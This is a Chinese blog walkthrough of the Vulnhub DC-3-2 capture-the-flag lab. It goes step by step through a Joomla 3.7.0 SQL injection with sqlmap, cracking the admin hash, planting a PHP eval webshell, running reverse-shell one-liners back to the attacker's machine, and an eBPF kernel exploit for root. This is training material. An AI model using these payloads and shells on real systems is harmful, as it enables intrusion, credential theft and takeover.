Vulnhub靶场DC-3-2练习

news2024/9/20 1:06:36

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
  • 0x03 漏洞查找与利用
    • 1. joomla漏洞查找
    • 2. SQL注入漏洞
    • 3. 破解hash
    • 4. 上传一句话木马
    • 5. 蚁剑连接shell
    • 6. 反弹shell
    • 7. 提权
  • 0x04 总结


0x00 准备


下载链接:https://download.vulnhub.com/dc/DC-3-2.zip

介绍:
As with the previous DC releases, this one is designed with beginners in mind, although this time around, there is only one flag, one entry point and no clues at all.

重点:只有一个flag。



0x01 主机信息收集



两台机器都是NAT模式。

执行命令:ifconfig

kali本机的ip:192.168.179.128,网卡eth0

发现目标主机ip:netdiscover -i eth0 -r 192.168.179.0/24

目标主机ip:192.168.179.129

在这里插入图片描述



探测目标主机开放端口:nmap -sS -sV -n -A -p- 192.168.179.129

只开放了80端口,运行的Apache2.4.18服务,并且使用了Joomla!的CMS。

在这里插入图片描述



0x02 站点信息收集



访问这个站点,看一下基本信息,基本前面都获取到了。

在这里插入图片描述


看一下站点目录:dirsearch -u 192.168.179.129 -e *

在这里插入图片描述



发现了后台入口:192.168.179.129/administrator

在这里插入图片描述


这个cms不能确定版本。

一个思路是访问上面扫描出来的目录:192.168.179.129/README.txt

在这里插入图片描述



另一个思路是用这个cms相关的扫描工具进行扫描,执行命令:joomscan -u "http://192.168.179.129"

在这里插入图片描述



通过以上两种方法,都可以得到cms的版本是joomla3.7.0。



0x03 漏洞查找与利用



1. joomla漏洞查找


执行命令搜索相关的漏洞:searchsploit joomla 3.7.0

在这里插入图片描述


有个sql注入的漏洞,查看一下42033.txt:cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917

URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27

Using Sqlmap:

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

Parameter: list[fullordering] (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (DUAL)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)

    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)    


2. SQL注入漏洞


根据上面给出的相关信息,URL Vulnerable就是存在漏洞的点,将localhost换成是目标主机的ip:http://192.168.179.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
(27%是URL编码中的单引号)

用浏览器访问上述地址。

在这里插入图片描述


再去掉单引号访问一下:http://192.168.179.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml

在这里插入图片描述


可以看到访问两个不同的链接页面回显不一样,并且返回了SQL相关的报错,说明 list[fullordering]这个参数确实存在和数据库的交互,存在SQL注入漏洞。上面也给出了Sqlmap的语句:sqlmap -u "http://192.168.179.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

其中:–risk=3指定测试的风险等级;–level=5指定检测的等级,这时会检测HOST头,包含的payload最多;–random-agent会从从sqlmap自带的文本文件中随机选择一个user-agent,不带这个参数时sqlmap有个默认的User-Agent,当 --level设置为3或者更高时,sqlmap会自动检测User-Agent是否存在注入漏洞;–dbs是枚举数据库的名字;-p是指定扫描的参数,这里是list[fullordering] 。

用sqlmap跑一下上面的语句,跑的过程中有三次询问:

在这里插入图片描述

在这里插入图片描述


最后可以看到有五个数据库的名字。使用 --current-db 来获取当前数据库的名字,完整的sqlmap语句:sqlmap -u "http://192.168.179.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --current-db

在这里插入图片描述


当前数据库是 joomladb,再用 -D joomladb --tables 来跑表的名字,完整的语句:sqlmap -u "http://192.168.179.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb --tables

通过上面的语句可以跑出来一个#__users 表。

在这里插入图片描述



再用 -D joomladb -T “#__users” --columns 来跑列的名字,完整的语句:sqlmap -u "http://192.168.179.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb -T "#__users" --columns

跑的过程中有三次输入:

第一次:you have not declared cookie(s), while server wants to set its own (‘460ada11b31d3c5e5ca6e58fd5d3de27=vn4pjqvr2pp…covug51rl0’). Do you want to use those [Y/n] \y

第二次:do you want to use common column existence check? [y/N/q] y

第三次:please enter number of threads? [Enter for 1 (current)] 2

结果如下:

在这里插入图片描述


可以看到有username列和password列,再用 -D "joomladb" -T "#__users" -C "name,password" --dump 来跑这两列的内容,完整的语句:sqlmap -u "http://192.168.179.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb -T "#__users" -C "name,password" --dump

在这里插入图片描述


用户名:admin

密码:$2y 10 10 10DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu



3. 破解hash


密码是一段加密的hash,可以用kali自带的john来破解这段hash。

将这段密文存入a.txt文件中,再利用命令john a.txt来查看结果。

在这里插入图片描述



4. 上传一句话木马



得到密码为snoopy。利用admin/snoopy登录后台http://192.168.179.129/administrator/。

多浏览一下,可以找到一个上传php文件的地方。路径:Extensions-Templates-Templates的Beez3

在这里插入图片描述


这里可以创建一个php文件。
在这里插入图片描述


先选择html这个目录,就可以在这个目录下面创建木马文件,后面比较好找路径。填写好创建的文件的名字,和文件类型,点击create。

在这里插入图片描述


输入文件内容:<?php @eval($_POST['123']);echo "Hello 123"; ?>

点击左上角的save按钮。

在这里插入图片描述


Joomla的目录结构中,templates是模板文件夹,直接存在于根目录下。我们创建的木马文件是beez3这个模板的html目录下的。所以木马文件的路径考虑是:http://192.168.179.129/templates/beez3/html/123.php。访问一下,页面回显 Hello 123,说明访问成功。

在这里插入图片描述


5. 蚁剑连接shell


用蚁剑连接一下目标服务器。(上下编码都选择base64)

在这里插入图片描述



6. 反弹shell


连接上以后,右键打开终端。

在kali中监听4444端口,执行命令:nc -lvvp 4444

在服务器的终端中执行命令:nc -e /bin/bash 192.168.179.128 4444

结果目标服务器的nc没有-e。

在这里插入图片描述



考虑其他的反弹shell的方式。

在获取webshell的情况下,常用的反弹shell的方式:

# 本地监听4444 端口
ncat -lnvp 4444

# 服务端反弹(命令中都是本地的ip)
nc -e /bin/bash 192.168.179.128 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.179.128 4444>/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.179.128 4444>/tmp/f
/bin/sh -i >& /dev/tcp/192.168.179.128/4444 0>&1



找个不用-e的。

在服务器的终端执行命令:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.179.128 4444>/tmp/f

在这里插入图片描述


在kali中可以看到监听端口成功。

在这里插入图片描述



进入交互式shell,执行命令:python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述



7. 提权


依旧是先看有没有可以利用的命令,执行:sudo -l

没有权限,需要密码。

在这里插入图片描述



换个思路,考虑linux系统内核相关的漏洞。

查看linux内核版本:uname -a

查看linux发行版本:cat /etc/issue

是2016年的Ubuntu 16.04。

在这里插入图片描述



在kali中另外打开一个终端,搜索相关的可以利用的漏洞脚本,执行命令:searchsploit ubuntu 16.04

虽然有很多,但是尝试了以后发现39772最好用。(Privilege Escalation 特权升级)

在这里插入图片描述



查看使用文档,执行命令:cat /usr/share/exploitdb/exploits/linux/local/39772.txt

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=808

In Linux >=4.4, when the CONFIG_BPF_SYSCALL config option is set and the
kernel.unprivileged_bpf_disabled sysctl is not explicitly set to 1 at runtime,
unprivileged code can use the bpf() syscall to load eBPF socket filter programs.
These conditions are fulfilled in Ubuntu 16.04.

When an eBPF program is loaded using bpf(BPF_PROG_LOAD, ...), the first
function that touches the supplied eBPF instructions is
replace_map_fd_with_map_ptr(), which looks for instructions that reference eBPF
map file descriptors and looks up pointers for the corresponding map files.
This is done as follows:

	/* look for pseudo eBPF instructions that access map FDs and
	 * replace them with actual map pointers
	 */
	static int replace_map_fd_with_map_ptr(struct verifier_env *env)
	{
		struct bpf_insn *insn = env->prog->insnsi;
		int insn_cnt = env->prog->len;
		int i, j;

		for (i = 0; i < insn_cnt; i++, insn++) {
			[checks for bad instructions]

			if (insn[0].code == (BPF_LD | BPF_IMM | BPF_DW)) {
				struct bpf_map *map;
				struct fd f;

				[checks for bad instructions]

				f = fdget(insn->imm);
				map = __bpf_map_get(f);
				if (IS_ERR(map)) {
					verbose("fd %d is not pointing to valid bpf_map\n",
						insn->imm);
					fdput(f);
					return PTR_ERR(map);
				}

				[...]
			}
		}
		[...]
	}

__bpf_map_get contains the following code:

/* if error is returned, fd is released.
 * On success caller should complete fd access with matching fdput()
 */
struct bpf_map *__bpf_map_get(struct fd f)
{
	if (!f.file)
		return ERR_PTR(-EBADF);
	if (f.file->f_op != &bpf_map_fops) {
		fdput(f);
		return ERR_PTR(-EINVAL);
	}

	return f.file->private_data;
}

The problem is that when the caller supplies a file descriptor number referring
to a struct file that is not an eBPF map, both __bpf_map_get() and
replace_map_fd_with_map_ptr() will call fdput() on the struct fd. If
__fget_light() detected that the file descriptor table is shared with another
task and therefore the FDPUT_FPUT flag is set in the struct fd, this will cause
the reference count of the struct file to be over-decremented, allowing an
attacker to create a use-after-free situation where a struct file is freed
although there are still references to it.

A simple proof of concept that causes oopses/crashes on a kernel compiled with
memory debugging options is attached as crasher.tar.

One way to exploit this issue is to create a writable file descriptor, start a
write operation on it, wait for the kernel to verify the file's writability,
then free the writable file and open a readonly file that is allocated in the
same place before the kernel writes into the freed file, allowing an attacker
to write data to a readonly file. By e.g. writing to /etc/crontab, root
privileges can then be obtained.

There are two problems with this approach:

The attacker should ideally be able to determine whether a newly allocated
struct file is located at the same address as the previously freed one. Linux
provides a syscall that performs exactly this comparison for the caller:
kcmp(getpid(), getpid(), KCMP_FILE, uaf_fd, new_fd).

In order to make exploitation more reliable, the attacker should be able to
pause code execution in the kernel between the writability check of the target
file and the actual write operation. This can be done by abusing the writev()
syscall and FUSE: The attacker mounts a FUSE filesystem that artificially delays
read accesses, then mmap()s a file containing a struct iovec from that FUSE
filesystem and passes the result of mmap() to writev(). (Another way to do this
would be to use the userfaultfd() syscall.)

writev() calls do_writev(), which looks up the struct file * corresponding to
the file descriptor number and then calls vfs_writev(). vfs_writev() verifies
that the target file is writable, then calls do_readv_writev(), which first
copies the struct iovec from userspace using import_iovec(), then performs the
rest of the write operation. Because import_iovec() performs a userspace memory
access, it may have to wait for pages to be faulted in - and in this case, it
has to wait for the attacker-owned FUSE filesystem to resolve the pagefault,
allowing the attacker to suspend code execution in the kernel at that point
arbitrarily.

An exploit that puts all this together is in exploit.tar. Usage:

user@host:~/ebpf_mapfd_doubleput$ ./compile.sh
user@host:~/ebpf_mapfd_doubleput$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@host:~/ebpf_mapfd_doubleput# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)

This exploit was tested on a Ubuntu 16.04 Desktop system.

Fix: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7

Proof of Concept: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=232552
Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip     


告诉我们可以使用exp提权,并且给出了下载链接。

在kali中下载,执行命令:wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

在这里插入图片描述


解压:unzip -n 39227.zip ,-n可以不覆盖原有的文件。

在这里插入图片描述



解压以后发现有两个压缩文件,从命令中可以看出,提权工具应该在exploit.tar中。

我这里想在kali本机把文件解压,然后再利用蚁剑上传到目标主机的,上传的时候发现权限不允许。所以还是将exploit.tar这个文件,通过蚁剑上传到/var/www/html/templates/beez3/html目录下。

在这里插入图片描述


在蚁剑的目标服务器终端中,解压上传的文件,执行命令:tar -xvf exploit.tar

在这里插入图片描述



再根据 39772.txt 给出的提示。

进入目录:cd ebpf_mapfd_doubleput_exploit

再执行: ./compile.sh

再执行: ./doubleput

在这里插入图片描述
在这里插入图片描述



0x04 总结


主机信息收集:

  1. netdiscover发现目标主机ip。
  2. nmap探测目标主机的开放端口和服务。

站点信息收集:

  1. dirsearch探索站点目录,发现后台入口。
  2. 确定cms版本joomla3.7.0。

漏洞利用:

  1. searchsploit搜索joomla相关漏洞CVE-2017-8917。
  2. sqlmap跑数据库,得到管理员的名字和密码。
  3. john破解hash。
  4. php一句话木马。
  5. 反弹shell。
  6. 利用linux内核相关漏洞提权。



本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1926088.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

K8S ingress 初体验 - ingress-ngnix 的安装与使用

准备环境 先把 google 的vm 跑起来… gatemanMoreFine-S500:~/projects/coding/k8s-s/service-case/cloud-user$ kubectl get nodes NAME STATUS ROLES AGE VERSION k8s-master Ready control-plane,master 124d v1.23.6 k8s-no…

算法(删除数组元素,删除有序数组中的重复项,合并有序数组)

文章目录 删除数组元素删除有序数组中的重复项合并有序数组 删除数组元素 题目&#xff1a;给定一个值(val)&#xff0c;删除数组中与该值相等的元素&#xff0c;返回值为删除后的数组中元素的个数&#xff0c;并打印删除过后的数组元素。 如&#xff1a;给定一个数组 arr [ ] …

每 日 练 习

目录 一、题目使用方法 二、选择题总结 题目牛客网 一、题目 给定一个字符串比如“abcdef”&#xff0c;要求写个函数变成“defabc”&#xff0c;位数是可变的。 分析 首先&#xff0c;需要确定字符串的分割点。这个点可以是字符串长度的一半&#xff0c;也可以是任何选择的索…

谱瑞科技高速传输接口芯片选型应用

谱瑞科技股份有限公司为一专供多种普及显示器以及个人计算机、消费性电子产品与显示面板所使用之高速讯号传输接口标准之混和信号 IC 芯片之领导供货商。谱瑞公司成立于 2005 年为一无自有晶圆厂之半导体公司&#xff0c;并于 2011 年股票在台湾柜台买卖中心正式挂牌交易(股票代…

搞定ES6同步与异步机制、async/await的使用以及Promise的使用!

文章目录 同步和异步async/awaitPromisePromise的概念 同步和异步 ​ 同步&#xff1a;代码按照编写顺序逐行执行&#xff0c;后续的代码必须等待当前正在执行的代码完成之后才能执行&#xff0c;当遇到耗时的操作&#xff08;如网络请求等&#xff09;时&#xff0c;主线程会…

王牌站士Ⅶ--理解大型语言模型LLM的参数

模型的大小并不一定决定其成功 在学习任何大型语言模型 (LLM) 时&#xff0c;您首先会听到的事情之一就是给定模型有多少个参数。如果您查看下面的图表&#xff0c;您会注意到参数大小范围很广 - 一个模型可能有 10 亿或 20 亿个参数&#xff0c;也可能有超过 1.75 万亿个参数。…

ATC 2024 | 快手开源大模型长序列训练加速技术,性能大幅超越 SOTA 方案

导读 在深度学习领域&#xff0c;训练大型语言模型&#xff08;LLMs&#xff09;一直是一项极具挑战性的任务&#xff0c;它不仅需要巨大的计算资源&#xff0c;同时对内存的消耗也非常巨大。近期&#xff0c;快手大模型团队提出了创新的方法&#xff0c;包括感知流水并行的激…

【学习笔记】无人机(UAV)在3GPP系统中的增强支持(二)-支持高分辨率视频直播应用

引言 本文是3GPP TR 22.829 V17.1.0技术报告&#xff0c;专注于无人机&#xff08;UAV&#xff09;在3GPP系统中的增强支持。文章提出了多个无人机应用场景&#xff0c;分析了相应的能力要求&#xff0c;并建议了新的服务级别要求和关键性能指标&#xff08;KPIs&#xff09;。…

TS真的比JS更好吗?

前言 在讨论TypeScript&#xff08;TS&#xff09;是否比JavaScript&#xff08;JS&#xff09;更好时&#xff0c;我们需要明确“更好”这一概念的上下文和衡量标准。TypeScript和JavaScript在多个方面有着明显的区别&#xff0c;但它们并不是简单的“好”与“不好”的关系&a…

springboot上传图片

前端的name的值必须要和后端的MultipartFile 形参名一致 存储本地

一文搞定:Syncthing多平台文件同步工具安装全攻略

Syncthing是一款开源的文件同步工具&#xff0c;可以通过本地网络或互联网实现多台设备之间的文件同步。与其他同步工具不同&#xff0c;Syncthing强调隐私和安全&#xff0c;确保用户的数据始终处于用户的控制之下。 功能与特点 开源软件&#xff1a; Syncthing是完全开源的&…

base SAS programming学习笔记11(functions)

1.SAS function 分类&#xff1a; 计算描述统计量的函数&#xff1a; 举例如下&#xff1a;avgscoremean(exam1,exam2,exam3) 2.function 基本格式 function-name(argument1,argument2,......<argumentn>&#xff09; argument可以如下&#xff1a;变量名&#xff1b;常…

新手小白的pytorch学习第三弹-------tensor的基本操作

reshape, view, stacking, squeeze(), unsqueeze(),permute()torch.tensor 和 numpy 的 array切片&#xff0c;张量里面获取元素值随机种子 1 导入torch import torch2 reshape() tensor_A torch.arange(1, 11) tensor_Atensor_A.reshape(2, 5) tensor_A.reshape(2, 5)tenso…

C语言 ——— 实用调试技巧(Visual Studio)

目录 Debug 和 Release 的区别 F10 --- 逐过程调试 & F11 --- 逐语句调试 F9 --- 新建/切换断点 & F5 --- 开始调试 shift F5 & ctrl F5 Debug 和 Release 的区别 Debug&#xff1a;通常为调试版本&#xff0c;它包含调试信息&#xff0c;并且不作任何优化…

Unity ColorSpace 之 【颜色空间】相关说明,以及【Linear】颜色校正 【Gamma】的简单整理

Unity ColorSpace 之 【颜色空间】相关说明&#xff0c;以及【Linear】颜色校正 【Gamma】的简单整理 目录 Unity ColorSpace 之 【颜色空间】相关说明&#xff0c;以及【Linear】颜色校正 【Gamma】的简单整理 一、简单介绍 二、在Unity中设置颜色空间 三、Unity中的Gamma…

Vortex GPGPU的硬件代码分析(Cache篇2)

文章目录 前言一、VX_cache.sv代码部分解读2——buffering/initialize1.1 core response buffering与VX_elastic_buffer模块解读1.1.1 VX_pipe_buffer模块解读1.1.1.1 一种握手信号的解释1.1.1.2 世界线收束——VX_pipe_buffer的核心代码解释1.1.1.3 VX_pipe_register模块解读与…

算法015:串联所有单词的子串

串联所有单词的子串. - 备战技术面试&#xff1f;力扣提供海量技术面试资源&#xff0c;帮助你高效提升编程技能,轻松拿下世界 IT 名企 Dream Offer。https://leetcode.cn/problems/substring-with-concatenation-of-all-words/ 如果是第一次接触这个题目&#xff0c;接触滑动…

埋点系统如何统计用户的平均停留时长?

Hello&#xff0c;大家好&#xff0c;欢迎使用Webfunny前端监控和埋点系统。 今天&#xff0c;我们将介绍webfunny的埋点系统如何统计用户的平均停留时长 一、页面beforeLeave事件 当你页面离开的时候&#xff0c;会触发一个心跳检测&#xff0c;但是这个可能不是100%触发&am…

跳表的简单学习

跳表&#xff08;SkipList&#xff09;学习 1. 什么是跳表&#xff1f; 基于“空间换时间”思想&#xff0c;通过给链表建立索引&#xff0c;使得链表能够实现二分查找。 跳表是可以实现二分查找的有序链表。 2. 从单链表到跳表 对于一般的单链表&#xff0c;在其中进行查…

EasyCVR视频技术:城市电力抢险的“千里眼”,助力抢险可视化

随着城市化进程的加速和电力需求的不断增长&#xff0c;电力系统的稳定运行对于城市的正常运转至关重要。然而&#xff0c;自然灾害、设备故障等因素常常导致电力中断&#xff0c;给城市居民的生活和企业的生产带来严重影响。在这种情况下&#xff0c;快速、高效的电力抢险工作…